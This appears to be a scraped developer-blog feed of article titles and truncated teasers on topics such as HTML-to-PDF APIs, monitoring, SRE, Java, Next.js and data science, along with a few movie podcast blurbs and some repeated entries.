    Most of us hit this at some point: “I need to generate a PDF from HTML… and it has to look exactly like the page.” So you pick a CLI tool or library, wire it up, and it kind of works… until you have: heavy JavaScript charts and dashboards in iframes React / SPA pages that render mostly on the client and a production server that now runs some fragile headless setup I’ve been through this a few times, so I ended up building a service I wish I had earlier: a hosted HTML → PDF/PNG API called GoPDFGenie. This post is about: why I built it, how the async API works (jobs), how to call it from Node/Python, and how you can run it hosted or self-hosted. Tools like wkhtmltopdf and many HTML→PDF wrappers are fine when: the HTML is simple, there’s almost no JS, and you don’t care too much about pixel-perfect layout. In real products I kept seeing: PDFs that didn’t match the live UI things breaking when the frontend team changed layout or added JS weird CSS/JS incompatibilities with older engines and the ongoing cost of maintaining your own headless rendering stack Once SPAs, dashboards, and iframes show up, the “just install X and call it a day” story falls apart. For my own projects, I wanted a service that: Renders pages in a real modern browser engine Handles SPAs, iframes, dashboards, charts Is hosted, so I don’t maintain headless infra again Has simple, usage-based pricing Still allows self-hosting/on-prem if a team needs that So I built GoPDFGenie. 👉 Live site: https://gopdfgenie.com 👉 API docs (Swagger UI): https://gopdfgenie.com/swagger-ui/index.html 👉 GitHub examples: https://github.com/gopdfgenie/html-to-pdf-api :contentReference[oaicite:2]{index=2} At a high level, GoPDFGenie is: “Give me a URL or HTML → I’ll render it in a headless browser → you fetch the PDF/PNG when it’s ready.” The API is asynchronous: You create a conversion job. The API returns a jobId. You poll the job status. When it’s COMPLETED, you fetch the result file as PDF or PNG. Base URL: text https://gopdfgenie.com/api/v1  ( 7 min )
    Star Multi-Class Classification Neural Network With Pytorch
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    👋 Hi Dev Community! I am Promise (you can call me SP), I am super excited to share my journey here too!
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    Why CI/CD Is Not Just Jenkins and YAML: The Untold Reality of DevOps Pipelines
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    🎃 Transforming the Web Into a Spooky World — Building Halloween Vibes with Kiro
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
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    LLM Introduction
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    Meet Pulsimo - Monitor Your Systems with Precision & Power
    Have you ever wondered— If your production backend or database service crashes, how fast do you actually get notified, and how quickly can you jump into troubleshooting? If a Prometheus + Alertmanager setup is properly tuned, you usually get notified within 1–1.5 minutes. Scrape Interval Let’s assume Prometheus scrapes metrics every 15–30 seconds, which is common in well-optimized setups. 15 seconds as the fastest scenario, the earliest delay starts here. Rule Evaluation Interval After scraping, alerting rules are evaluated every 15 seconds. Rules Manifest (for: 1m or reduced) Assume you've configured the rule such that if the service is down for 10 seconds, Prometheus should fire an alert. Alertmanager buffering (minimal assumptions) Ignoring group_wait, group_interval, repeat_interval to keep it raw— 10 seconds to process and send the first notification. Putting it all together: Scrape delay → ~15s Rule evaluation delay → ~15s Down detection threshold → ~10s Alertmanager handling → ~10s Network jitter → (Optional small fluctuation) 👉 Total: ~50 seconds – ~1 minute up to 1.5 minutes 1–1.5 minutes after the actual outage. During this time, your data loss may be small or large—depending on how critical the endpoint is. data loss will happen. within just 10 seconds? Imagine receiving outage alerts ~50 seconds earlier than Prometheus. Not just faster alerts—you could: Closely monitor application behavior in real-time Understand performance patterns Visualize dependency graphs Analyze blast radius Improve MTTR, SLA, SPOF detection Perform critical path analysis And much more... Pulsimo 🎉 An on-premise focused endpoint monitoring platform designed to give ultra-fast detection and deep observability. Currently in public beta. 🔗 https://pulsimo.github.io If anyone is interested in contributing — feel free to reach out!  ( 7 min )
    Why Modern Electronic Devices Are Rapidly Switching to Capacitive Touch Screens
    Touch screens have become a defining interface of modern electronic devices, replacing physical buttons and outdated resistive touch panels. From smartphones and tablets to industrial displays and automotive dashboards, capacitive touch screens have become the preferred solution for both consumer and professional applications. This shift did not happen by accident — it is driven by clear technological, usability, and reliability advantages that make capacitive touch the superior choice. Below is a detailed look at the major reasons why modern devices across industries are switching to capacitive touch screens. Capacitive touch screens detect the electrical properties of the human body, enabling highly precise and fast responses to user input. Unlike resistive screens, which rely on physica…  ( 8 min )
    Practical Guide to Dynamic IP Blocking in Nginx
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    Increase my familiarity with BASE64.
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    Technical SEO for Developers: A Comprehensive Guide to Building Search-Friendly Applications
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    Technical SEO for Developers: A Comprehensive Guide to Building Search-Friendly Applications
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    SRE in Action: Understanding How Real Teams Use SLOs, SLIs, and Error Budgets to Stay Reliable Through Case Studies - Part 1
    When people talk about Site Reliability Engineering (SRE), they often share abstract principles about SLIs, SLOs, and error budgets. But here's the problem: understanding the concepts isn't the same as knowing how to apply them. The truth is, reliability challenges look radically different depending on where you sit. This article presents two SRE implementations from completely different perspectives, a complete walkthrough for beginners: For startups (CompanyA): it's about moving fast without breaking everything as you scale. For enterprises (CompanyB): it's about coordinating dozens of teams who can't agree on what "reliable" even means. Both need SRE principles. But the implementation couldn't be more different. Let's dive in. By the end of this case study, you will understand: How to i…  ( 11 min )
    AI in One Repo
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    Weekly Challenge: The one about formatting
    Weekly Challenge 347 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a date in the form: 10th Nov 2025. Write a script to format the given date in the form: 2025-11-10 using the sets below. @DAYS = ("1st", "2nd", "3rd", ....., "30th", "31st") @MONTHS = ("Jan", "Feb", "Mar", ....., "Nov", "Dec") @YEARS = (1900..2100) Both of these weeks tasks are pretty straight forward so don't require too much explanation. For this task, I start by defined the lists (arrays in Perl) for DAYS, MONTHS and YEARS. As the years are actually a string, I use the map …  ( 8 min )
    Scale Django on Seenode: Production Architecture That Actually Works
    Advanced scaling patterns for Django apps - from 100 to 100K requests/day Last year I pushed 18 app versions with staging endpoints hardcoded into production. Residents across the UK couldn't unlock their hotel rooms via NFC. My PM couldn't log in. That was a frontend disaster, but it taught me something: deployment F-ups scale with complexity. Django backend scaling is the same energy - you can't just throw more Gunicorn workers at it and pray. I learned this the hard way when a payments API I built started choking at 2,000 req/min. Tea break interrupted at 11am by a Slack ping: "Checkout timing out, users complaining." I ssh'd in, watched workers dying one by one, and realized our monolith was the problem. This article covers what actually worked when I migrated that payments system to S…  ( 12 min )
    ROFL Proxy for HTTPS Hosting
    Some big developer news from the Oasis ecosystem: ROFL now supports proxy-based frontend hosting directly inside TEEs (Trusted Execution Environments). No more manual proxy or TLS setup: ROFL auto-assigns subdomains (or lets you configure your own custom domain), handles DNS, and provisions TLS certs — all inside the TEE. It uses Wireguard tunnels between the scheduler and the app, so traffic is encrypted, and TLS keys never leave the trusted enclave. The deployment flow is super simple for devs: Add domain annotation to your docker-compose (or similar) file. Rebuild & redeploy. Run oasis rofl CLI to get DNS instructions. Add DNS records + verification token. Restart your app — TLS is provisioned automatically. Why this is a big deal: Full-stack confidential compute: React frontend + backend logic can now live in the same TEE, with full HTTPS. Easier production deployment: No need to configure reverse proxies or external certificate providers separately. Security + trust: All TLS keys are generated inside the TEE — even in-memory — so you don’t expose them. If you're building privacy-preserving dApps or just want to run a secure UI for your backend inside a TEE, this is a game-changer. Who here is using ROFL for their apps? Does this make you more likely to deploy frontend + backend in the same environment? full thread can be found here!  ( 6 min )
    ai coding
    A post by aka  ( 5 min )
    x402: Internet-Native Payments for the Modern Web
    Hey devs, I just came across Oasis Network’s new protocol called x402, and it's a really elegant way to do micropayments natively over HTTP. 🚀 Here’s a breakdown: The idea builds on the old HTTP status code 402 (“Payment Required”), which was originally meant for paid web requests — but never really used. Oasis is bringing it back. With x402, when a client (human or AI agent) requests something (API, content, etc.), the server can respond with HTTP 402, giving the payment details (which token, amount, etc.). The client signs a permit-style transaction (using EIP-3009, transferWithAuthorization) instead of manually handling gas or private keys. A “facilitator” service verifies and then settles the payment on-chain. The client just sees the normal HTTP request-response after that. From your perspective, it’s just another API call. But under the hood, it’s real crypto + stablecoin settlement. Micropayments become viable: Because gas costs are low-ish and x402 is pay-per-request, you can charge for super small units (e.g., $0.001 / API call). Agent economy-ready: AI agents can autonomously pay for services (API / compute / data) without humans managing the wallet or paying upfront. Composable: Agents can pay each other, or pay for resources per use. Very fluid economics. Privacy + trust: When combined with ROFL and ERC-8004, you get identity, reputation, and secure execution, all in a trustless way. Use case example: If you’re building agent-first apps, this could completely change how you monetize or handle payments. Curious to hear: Who’s thinking of integrating x402 into their API? Anyone building AI agents that could use this directly? full thread: https://oasis.net/blog/x402-https-internet-native-payments  ( 6 min )
    🎙️Inside the JVM: A Live Walkthrough
    A technical story for a kid who speaks Java fluently Narrator (you): The terminal blinks. You type: java -Xms256m -Xmx2g -server MyGame And press Enter. Kid: That’s it? That’s when the magic starts? You: 🔥 That’s when the JVM is born. Phase 1: Birth — JVM Startup The OS loads the JVM executable (java → libjli.dylib/jli.dll → libjvm.so) into memory. ✅ JVM Initialization begins: Allocates process memory (heap, metaspace, thread stacks, native memory). Parses VM flags: -Xms256m: "Reserve 256 MB right now for the heap." -Xmx2g: "But you *may grow up to 2 GB — ask the OS nicely."* -server: "Use the Server VM — C2 JIT, parallel GC, biased locking… we’re in for the long haul." ➡️ HotSpot VM (Oracle’s implementation) boots its internal subsystems: Threads: Creates the main threa…  ( 16 min )
    📚 An In-Depth Guide to Modern Cryptography and Web Security
    🚀 The Essentials of Modern Cryptography and Web Security This comprehensive lesson serves as an in-depth resource on the core principles of data security, spanning cryptographic fundamentals, real-world protocols, and essential defense mechanisms against prevalent web attacks. Fundamental Cryptographic Primitives Encryption Methods: Symmetric vs. Asymmetric Real-World Application & Hybrid Security Integrity & Authentication Mechanisms Web Attack Vectors and Defense 1. Fundamental Cryptographic Primitives 1.1. Hashing: The One-Way Lock 🔐 Hashing creates a fixed-size, irreversible digital fingerprint (hash value) from any input data. It is a one-way street—easy to travel down, impossible to walk back up. Principle: One-Way Function (Irreversibility). …  ( 9 min )
    Ship LangGraph.js Workflows in Production with Open LangGraph Server
    The LangGraph ecosystem makes it easy to build complex AI workflows in TypeScript and JavaScript — but once you have a graph, how do you ship it to production with proper storage, streaming, and framework integration? That’s where Open LangGraph Server comes in. Open LangGraph Server is the easiest way to integrate LangGraph.js into real-world web applications. It gives you a standard HTTP endpoint for your graphs, built-in support for Next.js and Hono.js, and pluggable storage backends like SQLite, PostgreSQL, and Redis — all with TypeScript-first ergonomics. In this post, we’ll walk through what it is, when you should use it, and how to get started. Open LangGraph Server is a server layer for LangGraph.js: It exposes your graphs as HTTP APIs (assistants, threads, runs, streams). It plugs…  ( 10 min )
    Remember
    There is something important that often gets lost in the rush of growing a company. As a business owner, you have to remember the early days — when you were a team of 2, or 10, or 30. Those were the days when every person mattered, every contribution was visible, and every win was shared. It’s easy to forget that people are the reason you made it to where you are today. Yet I’ve seen it far too many times: a company grows, becomes successful, and somewhere along the way the leaders lose sight of what really built the business. The culture shifts. The connection fades. The individuals who once formed the backbone of the organisation become invisible — reduced to employee numbers, KPI units, or a line item on a payroll list. Growth is supposed to strengthen a company, not dilute its humanity. The real danger is when success creates distance. When leadership becomes insulated. When decisions are made in boardrooms instead of in conversations. When the people who helped build the foundation are no longer recognised, valued, or heard. A great company doesn’t just scale its profits — it scales its gratitude, its awareness, its empathy, and its commitment to the people who show up every day to make the vision real. Growth should never come at the cost of forgetting who helped you grow in the first place.  ( 6 min )
    Method Overloading in Java
    What is method overloading: This is defined as a feature that allows a class to have multiple methods with the same name but different parameters. It is also known as compile time polymorphism. The different ways of method overloading in Java are given as : Changing the number of parameters Changing the data types of parameters Changing the order of parameters Ex: class Calculator{ public static void main(String[] args) { Calculator casio = new Calculator(); casio.add(10,20); casio.add(10,20,30); casio.add("Sun","Flower"); casio.add(10,"abc"); } public void add(int no1, int no2){ System.out.println(no1+no2); } public void add(int no1, int no2, int no3){ System.out.println(no1+no2+no3); } public void add(String name1, String name2){ System.out.println(name1 + name2); } public …  ( 7 min )
    How to Secure RabbitMQ & Celery with TLS/SSL
    In a recent project where I needed to build a scalable, distributed processing workflow using RabbitMQ and Celery, I was reminded of how challenging it can be to navigate security-related documentation. RabbitMQ is a robust message broker for distributed systems, and Celery adds a powerful task-queue layer on top of it, but securing the communication between them is far from plug-and-play. While implementing TLS/SSL authentication, I ran into the usual problem: fragmented examples, missing steps, and key configuration details hidden deep in the docs. Anyone who has tried to piece together a full security setup across multiple sources knows how quickly this can turn into hours of trial, error, and guesswork. To save others from going through the same cycle, I decided to compile everything into a clear, structured, end-to-end guide on securing RabbitMQ with TLS and mTLS, including full integration with Python Celery. The guide covers: • TLS vs mTLS fundamentals If you're working with RabbitMQ and Celery or planning to secure your message broker setup, I hope this helps streamline the journey. 📄 Read my first article on my personal website: https://lnkd.in/dkzCsAFe Happy reading! 😁 hashtag#rabbitmq hashtag#celery hashtag#security hashtag#backend hashtag#microservices  ( 6 min )
    Conventional Commits
    Conventional Commits Rehberi Bu rehber, https://www.conventionalcommits.org/en/v1.0.0/ adresi referans alınarak hazırlanmıştır. Her commit mesajı şu formata uygun olmalıdır: [optional scope]: [optional body] [optional footer(s)] type: Yaptığınız değişikliğin türünü belirtir. scope (opsiyonel): Değişikliğin hangi bölümünü etkilediğini belirtir. description: Değişikliğin kısa ve öz açıklaması. body (opsiyonel): Daha detaylı açıklama yapılabilir. footer (opsiyonel): Ek bilgiler veya referanslar içerir. Kullanabileceğiniz commit türleri şöyledir: Type Açıklama feat Yeni bir özellik eklendi fix Bir hata düzeltildi docs Dokümantasyon güncellendi style Kod formatı veya stil değişiklikleri (işlevsel olmayan) refactor Kod yeniden düzenlendi, işlev değişmedi …  ( 7 min )
    Web Developer Travis McCracken on Why You Should Know Your Stack’s Limits
    Why I Love Working with Rust and Go for Backend Development Hi, I’m Web Developer Travis McCracken, and today I want to share my insights on building robust backend systems using two of the most exciting programming languages out there: Rust and Go. As someone deeply involved in backend development, I’ve found that these languages not only improve performance but also boost developer productivity and maintainability when creating APIs and server-side applications. Rust has gained significant traction among backend developers for its focus on speed, safety, and concurrency. Its zero-cost abstractions and memory safety guarantees make it an excellent choice for high-performance APIs that demand both reliability and efficiency. Recently, I delved into creating a project called 'rust-cache-ser…  ( 8 min )
    What is Ctrl+H in Excel? Master Find & Replace for Data Cleaning
    Ctrl+H opens Excel’s Find and Replace dialog — a commonly used tool for locating and updating values in bulk. It is helpful for tasks like correcting text, formatting, or cleaning large datasets quickly. By pressing Ctrl+H, you can: 1. Press Ctrl+H 2. Enter text under Find what 3. Enter text under Replace with 4. Use Replace or Replace All Example: Option Description Match Case Finds text with same capitalization Match Entire Cell Contents Replaces only when full cell matches Search Within Selection / Sheet / Workbook Look In Formulas / Values / Comments Task Find Replace Notes Remove extra spaces " " " " Run multiple times until no changes Standardize abbreviations "St." "Street" Useful for addresses Format dates "/" "-" Changes separator Remove characte…  ( 7 min )
    Beyond Vanity Metrics: 7 B2B Marketing KPIs You Can Query Like an API
    As developers, we live by data. We track uptime, monitor latency, and debug with logs. When marketing talks about 'brand awareness' or 'engagement,' it can feel like a fuzzy, unquantifiable black box. But what if you could treat your marketing funnel like a distributed system, with key metrics acting as health checks and performance indicators? That's what effective B2B marketing is all about: measuring what matters to prove and improve ROI. Forget vanity metrics like social media likes. Let's dive into seven mission-critical B2B marketing KPIs you can track, calculate, and optimize like a seasoned SRE. This is the big one. It's the cost field in your API response for a new customer. It tells you exactly how much you spend, on average, to acquire a single paying customer. A low CAC means y…  ( 11 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    They dive back into Brian De Palma’s 1998 thriller Snake Eyes—starring Nicolas Cage, Gary Sinise, and Carla Gugino—with Bill Simmons, Sean Fennessey, and Van Lathan crowning themselves “kings of the sewer” as they unpack the movie’s twists, performances, and De Palma’s signature style. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Ringer Movies episode is sponsored by PayPal (5% cash back on Pay in 4 all holiday long). Don’t forget to subscribe to The Ringer’s YouTube channels and follow them on social for more. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    TL;DR CinemaSins rips into Jurassic World Rebirth in under 17 minutes, calling out every recycled dinosaur gag, flimsy plot twist and “did-that-just-happen?” moment that keeps the franchise shambling back to life. Expect plenty of quips about T-Rex cameos, predictable jump scares and contrived heroics. They also drop links to their site, socials, podcast and Patreon—because while we keep sinning on-screen, they want us sinning for subscription tiers and poll answers too. Watch on YouTube  ( 6 min )
    The Digital Catwalk
    The fashion industry has always been about creating desire through imagery, but what happens when that imagery no longer requires human subjects? When Vogue began experimenting with AI-generated models in their advertising campaigns, it sparked a debate that extends far beyond the glossy pages of fashion magazines. The controversy touches on fundamental questions about labour, representation, and authenticity in an industry built on selling dreams. As virtual influencers accumulate millions of followers and AI avatars become increasingly sophisticated, we're witnessing what researchers describe as a paradigm shift in how brands connect with consumers. The question isn't whether technology can replace human models, it's whether audiences will accept it. The emergence of AI-generated models …  ( 23 min )
    From Imposter Syndrome to Confidence: My Journey as a Senior Angular Developer
    You know that feeling when you walk into a room and wonder if everyone else has the secret manual you somehow missed? That was me, not so long ago, staring at a wall of Angular code, heart pounding, convinced I was just one Google search away from being exposed as a total fraud. I didn’t start out as a frontend whiz — honestly, I stumbled into the Angular world almost by accident, armed with more curiosity than confidence and a healthy dose of “fake it till you make it.” But somewhere between debugging my first inscrutable error message and shipping features that actually worked, I realized I wasn’t alone. Imposter syndrome wasn’t just a buzzword — it was the background music to my early days as a developer. If you’ve ever felt like you’re pretending to know what you’re doing while everyon…  ( 13 min )
    A brief history of my Linux experience
    I got a computer back in 1997, and the word “Linux” was completely unknown to me. In fact, I hardly knew Windows back then. I only had experience with console gaming, and consoles didn’t have Operating Systems. Each cartridge had its own “operating system”: the game itself. At school I worked with Windows 3.11, but that was only for a few hours in computer class. Nothing special. But 1997 opened a new door for me: PC, RAM, Hard Disk, Operating System, Windows, Computer Magazines. And in the magazines, a very questionable article about Linux. SuSE Linux was the one the magazine presented. Later, as a CS student, I had... read more  ( 6 min )
    working on my Collaborative coding project
    Today was a bit chaotic but productive in its own way. I finally added a compiler to my project using Judge0. One day I want to build my own single-file compiler, but right now Judge0 is the best shortcut. On the bright side, the UI is looking much better than before. The collaborative coding part works so im happy Apart from that, I solved a medium LeetCode problem today. Not my fastest solve, but at least I didn’t give up halfway like yesterday. To end the day, I watched Amigoscode’s Docker & Kubernetes playlist on YouTube. DevOps always felt scary to me, but his explanations actually make it feel doable. Nothing crazy today, but a solid step forward.  ( 6 min )
    Building Custom Ruby on Rails Model Validators in Gems: A Complete Guide
    If you're building a Ruby gem that integrates with Rails applications, you might want to provide custom validators that developers can use declaratively in their models. In this comprehensive tutorial, we'll walk through building a custom ActiveModel validator in a gem, using the domain_extractor gem's DomainValidator as our case study. Custom validators allow gem users to validate model attributes with a simple, declarative syntax: class User < ApplicationRecord validates :website, domain: true validates :company_url, domain: { allow_subdomains: true } end This is much cleaner than writing custom validation methods in every model, and it encapsulates complex validation logic in a reusable, testable component. Understanding ActiveModel::EachValidator Creating the Validator Class Addin…  ( 11 min )
    LLM Guardrails: 50+ Safety Layers Every AI Application Needs
    In 2024 alone, 68% of enterprises deploying Large Language Models (LLMs) reported security incidents due to inadequate guardrails. If you’re building with LLMs—whether ChatGPT, Claude, Llama, or proprietary models—understanding guardrails isn't optional anymore. It's the difference between a production-ready application and a compliance nightmare waiting to happen. This comprehensive guide breaks down 50+ guardrails across 8 critical categories. Whether you're a security engineer hardening enterprise AI systems, a developer building your first LLM application, or a compliance officer evaluating AI risks, you’ll find actionable insights here. LLM guardrails are safety mechanisms that monitor, filter, and control what goes into and comes out of your AI system. Think of them as security chec…  ( 10 min )
    Effortless Jupyter Notebook to PDF in VS Code: Meet nb2pdf #python #nb2pdf #vscode #ipnyb2pdf
    Effortless Jupyter Notebook to PDF in VS Code: Meet nb2pdf If you’ve ever tried to submit a Jupyter notebook as a PDF, you already know the pain: “Print to PDF” from the browser looks ugly. nbconvert and LaTeX often break or need painful setup. Copy–paste into Word takes 30–60 minutes per assignment. DataFrames turn into messy text instead of clean tables. For learners, developers, and especially students who work heavily in Jupyter, this becomes a recurring headache every time an assignment or report is due. That’s why I built nb2pdf – a VS Code extension that converts your .ipynb notebook into a clean, professional PDF in just a few clicks. nb2pdf? nb2pdf is a Visual Studio Code extension that: Takes any .ipynb notebook Automatically runs it (so all cells are executed) Captures…  ( 9 min )
    Safety vs Security in Software: A Practical Guide for Engineers and Infrastructure Teams
    As engineers, we often hear "safety" and "security" used interchangeably, but they represent fundamentally different concerns that require distinct approaches. Understanding this distinction is crucial for building resilient systems that protect both your users and your organization. Security is about protecting systems from malicious actors who intentionally try to cause harm, steal data, or disrupt operations. Safety is about protecting systems and users from unintended failures, bugs, or accidents that could cause harm, even when everyone has good intentions. Think of it this way: Security asks "What if someone tries to break this?" while Safety asks "What if something goes wrong?" Software engineers must defend against adversaries actively trying to exploit vulnerabilities. 1. Input V…  ( 14 min )
    Building an AI Workout Coach: OpenAI Responses API + Dynamic Reasoning Levels
    I've been tracking workouts in Excel for a decade. Formulas for 1RM calculations, conditional formatting for volume landmarks, macros for progressive overload. It worked—until it didn't. Excel can't tell when I'm tired. It can't suggest "hey, drop the weight 2.5kg because you left 3 RIR on that last set when you should've left 1." It can't learn that I prefer cable exercises over barbell for triceps because of elbow pain. So I built ARVO—an AI-powered training app with 17+ specialized agents that orchestrate real-time coaching decisions. Not generic "do 3x10" programs. Real set-by-set progression with detailed reasoning, adaptive to your performance. The interesting part? Each agent uses different reasoning effort levels depending on latency requirements. My progression calculator needs <2…  ( 14 min )
    Share Claude-created Documents Across Worktrees with dot-claude-sync
    About dot-claude-sync TL;DR A Go CLI tool that synchronizes .claude directories across multiple projects/worktrees Achieves flexible synchronization strategies through group management and priority system Dramatically improves Claude Code utilization in git worktree environments My workflow involves having Claude Code first conduct research and create TODOs for tasks, which I then review before having it write the code. However, they always show up as Git diffs, and adding them to global ignore is cumbersome. .claude folder, which Claude doesn't automatically read. I thought placing documents in .claude would make management easier, and it worked well in practice. dashboard-fix-XXX inside .claude/custom-documents to consolidate task-related content. As I use Claude Code, I in…  ( 9 min )
    🚨 Resuming Stuck Joget Workflow Tools with API
    1. Overview A critical issue in production environments is a workflow process halting when the Joget server unexpectedly goes down. While user activities are often easy to "Complete" manually via the Process Monitor, processes stuck specifically on a Tool Plugin (like an Email Tool or integration script) often resist normal completion attempts. The "Complete" button in the Process Monitor UI has no effect because a Tool is a server-side action, not a user-driven workflow task. This post reveals the expert method, recommended by the Joget support team, to reliably force-resume or restart a stuck tool using the built-in JSON Monitoring API. When a tool element is stuck, the workflow engine typically believes the tool is still running or failed to complete its transaction. The solution is t…  ( 8 min )
    Memahami KNN Algorithm dan Sistem Rekomendasi dengan Visualisasi Simpel
    Algoritma machine learning buat klasifikasi atau clustering berdasarkan "tetangga terdekat". Ini cocok buat pemula yang lagi nyobain ML (kayak gue), terutama buat sistem rekomendasi seperti di Netflix atau Spotify. Yuk, kita bahas step by step! KNN itu kayak nyari temen deket buat nentuin sesuatu. Misalnya, kita punya titik baru di data, KNN bakal liat K tetangga terdekatnya (pake jarak Euclidean biasanya), terus pilih kelas yang paling banyak dari tetangga itu. Gampang kan? Gak perlu training rumit, cuma hitung jarak doang. Ini plot sederhana buat nunjukin gimana KNN kerja di data 2D. Ada dua kelas: A (biru) dan B (merah). Titik test (hijau X) lagi dicek tetangganya. Penjelasan Simpel: Data training: Titik-titik biru (A) dan merah (B). Test point (hijau): [8, 8] – KNN hitung jarak ke s…  ( 8 min )
    emojis-cleaner — A npm package to remove Emojis from Any File or Codebase (CLI + JS API)
    Introducing emojis-cleaner — Remove Emojis from Any File or Codebase (CLI + JS API) Have you ever opened a file in your codebase and found random emojis inside comments, logs, commits, or strings? Yes, they look aesthetic… until they break your CI, minifiers, builds, or linters. 😅 I ran into this too many times and decided to fix it once and for all. So today, I'm excited to introduce: emojis-cleaner — a simple tool to remove all emojis from any project NPM: https://www.npmjs.com/package/emojis-cleaner emojis-cleaner is a tiny Node.js package + CLI tool that: ✔ Removes all emojis from any text any file type (JS, TS, HTML, JSON, Markdown, etc.) entire folders recursively node_modules Whether you want to sanitize logs, clean content, or enforce “no emojis in code”, this tool does the jo…  ( 7 min )
    Difference Array Technique
    Understanding Difference Arrays Imagine you have a problem. You have a list of numbers. This list is very big. You are given many tasks to update this list. The task is to add a number to a range of indexes. For example, the first task could be to add 5 to all numbers from index 2 to index 7. If you do this one by one for every number on every task, it will be very slow. Your code will not run fast enough. We need a faster way. This is where the Difference Array technique helps. Let's start with a simple example. We have an array of size 6 initialized with 0. A = [0, 0, 0, 0, 0, 0] We have two updates to do. Add 2 to the numbers from index 1 to 3. Add 4 to the numbers from index 3 to 4. All indexing in this post is 0-based. This is the obvious way to do it. We just go through the given u…  ( 9 min )
    I Built an Open-Source VST Plugin for Real-Time AI Music Generation
    Back in May, I started with a simple idea: what if musicians could use AI to generate music in real-time during live performance, not to replace creativity, but as another instrument? That experiment became OBSIDIAN Neural, an open-source VST3 plugin for AI-powered music generation. Load it in your DAW (Ableton, Bitwig, FL Studio, etc.), type a few keywords like "deep bass loop" or "ambient pad", and it generates audio in real-time. You can: Control it with MIDI hardware during live performance Layer AI-generated sounds with your synths and guitars Generate loops on-the-fly and mix them together The human stays in control - you decide what to generate, when, and how to mix it. AI generates, you orchestrate. Plugin: C++ with JUCE framework (my first major C++ project!) Backend: Python FastAPI + Stable Audio for generation What started as a weekend experiment turned into: 135+ stars on GitHub International media coverage (even articles in China and Japan!) A demo presentation at AES AIMLA 2025 in London Live performances mixing the VST with hardware synths The code has been open source from day one because I believe in tools that empower musicians, not replace them. Check out the project on GitHub: OBSIDIAN Neural It works on macOS, Windows, and Linux. The macOS version is now properly signed. Whether you're into live performance, sound design, or just curious about AI audio tools, feel free to give it a try and let me know what you think! What's your take on AI in music production? Tool or threat? Let's discuss in the comments!  ( 6 min )
    How We Process Information Using The DIKW Model
    Building Blocks The formula for decision making derives from proper chunking of what our senses perceived and how we process it in our mind; if we want to identify or learn what is in front of us—we have to discern the object/entity and profoundly comprehend its properties. DIKW Pyramid is a model we can use to organize and structure our thoughts to conclude a decision. Starting from data, information, knowledge, and wisdom. Analogous example will be emphasized to nullify technical concepts for lighter comprehension. This is pretty much a straightforward form of what your senses perceive; when you taste food you can gather a pool of answers depending on your taste buds: sour, bitter, sweet, or salty. Remember, data are raw facts waiting to be stripped and revealed based on how we process information that comes inside our mind. Context lives in this block, information provides life and meaning to data. Questions on who, what, where, and when—will surface to organize, structure, and contextualize the data perceived. From the aforementioned example, if the dish is much salty based on your taste buds—a question will raise in your mind: What kind of salty ingredient did the chef used for their dish? When did they marinate this dish? Answering these questions will make your information processing starts to feel formed and cultivated. After analyzing and interpreting information we can now turn it as knowledge. These provide answers to our whys and hows: Why is their dish too salty? How did they cook this dish? How sodium rich is their dish? At this point, you are now ready to make decisions based on the outcome of the questions that were raised in your mind. The final block of the model focus more on decisions. After eating the salty dish, you can now decide for future events since the experience already occurred. Should I still eat here next time or try a new restaurant? Should I try different dish instead next time? Always remember that rational decisions derive from how we process information in our mind.  ( 7 min )
    Python For Exploit Development
    Originally posted on my security blog - https://biscottidiskette.github.io Disclaimer: For educational purposes only. Only run these techniques against machines you own or have explicit written permission to test. Unauthorized exploitation is illegal and unethical. By the end of this post, you'll have a working buffer overflow exploit for a vulnerable Windows service. We'll cover: Connecting to the service with Python Fuzzing to find the crash Controlling the instruction pointer (EIP) Finding bad characters Generating and delivering shellcode The target is OVERFLOW1 from TryHackMe's Buffer Overflow Prep room, but the techniques work for any vanilla stack overflow. Fair question - there are plenty of buffer overflow tutorials out there. This post focuses on the why behind the code: the libr…  ( 11 min )
    🚀 Parallel Routes & Intercepting Routes in Next.js — Complete Beginner-Friendly Guide
    Next.js App Router introduced two advanced routing primitives: Parallel Routes Intercepting Routes These aren’t random features — they were invented to solve challenges that naturally arise in file-based routing. This guide explains Parallel Routes from scratch (no use case at first), then naturally introduces the real-world modal use case, shows why Parallel Routes fail alone, and how Intercepting Routes solve that problem. Finally, we’ll cover all interception patterns (.), (..), (..)(..), (...) with real URLs — and end with practical use cases. Let’s begin. Parallel Routes allow a layout to render multiple independent route segments at the same time. Example layout: export default function RootLayout({ children, modal }) { return ( {children} {modal} ); } …  ( 9 min )
    Python for DevOps: A Practical, No-Nonsense Learning Plan
    Python is one of the most useful tools in a DevOps engineer’s belt. Not because it’s trendy, but because it gets automation done without drama. If you want to use Python to actually support CI/CD, cloud, infra, and operations work, you need a plan that isn’t just “learn basics and vibe.” Here’s a structured roadmap that focuses on what DevOps actually requires. Before touching cloud or automation, get the essentials straight. Learn: Variables and data types Goal: Write small scripts without googling every step. DevOps scripts deal with machines, files, logs, and environments, not tic-tac-toe games. Focus on: Reading and writing files Goal: Automate everyday sysadmin or ops tasks reliably. A DevOps script is useless if it breaks the moment something changes. Learn: Idempotent scripting patt…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    Webinar Analytics: Your Guide to Measuring Success
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    📊NumPy Practice !
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    📊 Day 64 of My Data Analytics Journey!
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    Nuxt Tutorial 4 - Server Side
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    I wanted to create an AI app named Jarvis it should wake when I say, Jarvis . It should provide me latest news with the help of Google when I ask. Moreover, it should act like an AI chatbot. Like ChatGPT or grok
    A post by Asgar Ali  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
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    Mastering BeanShell Hash Variables in Joget: The Most Basic & Practical Guide
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    How AI Will Transform CAD Software in the Next 5 Years (Autodesk, SolidWorks, CATIA & Beyond)
